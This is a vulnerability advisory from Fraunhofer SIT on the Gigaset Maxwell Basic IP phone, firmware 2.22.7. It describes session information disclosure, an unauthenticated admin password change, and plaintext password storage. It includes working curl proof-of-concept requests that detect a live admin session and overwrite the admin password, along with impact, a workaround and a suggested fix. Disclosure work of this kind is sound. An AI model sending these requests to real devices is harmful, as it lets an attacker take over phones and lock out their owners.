Fraunhofer SIT

## 1. Summary

*Vendor*: Gigaset

*Product*: Maxwell Basic

*Affected Version*: Firmware 2.22.7

*CVSS Score*: 8.8 (High)
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:M/IR:M/AR:M/MAV:A/MAC:L/MPR:N/MUI:R/MS:U/MC:H/MI:H/MA:H

*Severity*: high

*Remote exploitable*: yes

The firmware of the Gigaset Maxwell Basic IP phone contains several vulnerabilities, which would allow an attacker to control the device. The attacker only has to be in the same network. With two vulnerabilities, it is possible to lock out the actual user leaving the phone unusable.

**Information disclosure about running admin sessions (weankness 1):**

It is possible to get the information about the currently logged in user by sending a simple GET request. It seems to work for more than the /`Parameters` url, for instance /`Uptime`:

```
curl -i -s -k -X  'GET'  \

 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0)
Gecko/20100101 Firefox/61.0'  -H 'Accept: application/json, text/plain,
*/*'  -H 'Accept-Language: en-GB,en;q=0.5'  -H 'Referer:
http://10.148.207.11/'  -H 'Connection: keep-alive'  -H 'Authorization:
Bearer
3d2be8d1e09e7ef7c352f6ffe47d442904cb6cd1ca2517bb649d127bbb4775dafadsfadsfas
dfsdfdsf'  -H 'Content-Length: 0'  -H ''  \

'http://10.148.207.11/Parameters'
```

In case the admin user is logged in, the server returns the following message: {"message":"#admlog#"} indicating an admin session is running. With this knowledge, the following vulnerability 1 can be used in order to change the admin password.

**Admin password change without authentication (vulnerability 1):**

The web interface requires an admin password to modify any device settings. If there is set the default password it is possible to change the default password via web interface (POST request). Even more critical is the password change without authentication and knowing the previous admin password.

In case the administrator is currently logged in, an attacker can change the password without knowing the authentication nor the original password.

```
curl -i -s -k -X  'POST'  \

 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0)
Gecko/20100101 Firefox/61.0'  -H 'Accept: application/json, text/plain,
*/*'  -H 'Accept-Language: en-GB,en;q=0.5'  -H 'Referer:
http://10.148.207.11/'  -H 'Content-Type: application/json;charset=utf-8'
-H 'Content-Length: 44'  -H 'Connection: keep-alive'  -H ''  \
```

```
--data-binary $'{\"ShowPassword\":\"1\",\"AdminPassword\":\"pass\"}' \
'http://10.148.207.11/Parameters'
```

The curl[1] command sends a POST request and the parameter values for changing the admin password. In the proof of concept, the original password will be changed to the value "pass". This unauthenticated change is also possible (in a certain time frame) if the admin does not logout correctly and only closes the browser tab, because the logout is done by a JavaScript. This is working only in a specific time frame because the server will do a logout, too.

**Password stored in plaintext (weakness 2):**

After a successful login, the web application requests the server parameters. The server returns a json object which contains the current configuration of the phone. Also the password from the currently logged in user is sent in plaintext. This implies that the password is stored in plaintext. In general, a password should be stored in hashed and salted form.

## 2. Impact

**Arbitrary configuration of the IP phone**

The combination of weakness 1 and vulnerability 1 allows an attacker, who has access to the device network to change the admin password while the administrator is logged in. After that, the attacker knows the password, and he can use the password to log into the administration interface. The original administrator cannot authenticate herself any longer and is locked out. The attacker can change the configuration of the phone as she likes.

## 3. Workaround

Ristrict the network access of the phones administration interface to a limited set of network participants.

## 4. Possible fix

For the `GET` and `POST` of the `/Parameter` request, implement a proper session handling.

[1] https://curl.haxx.se/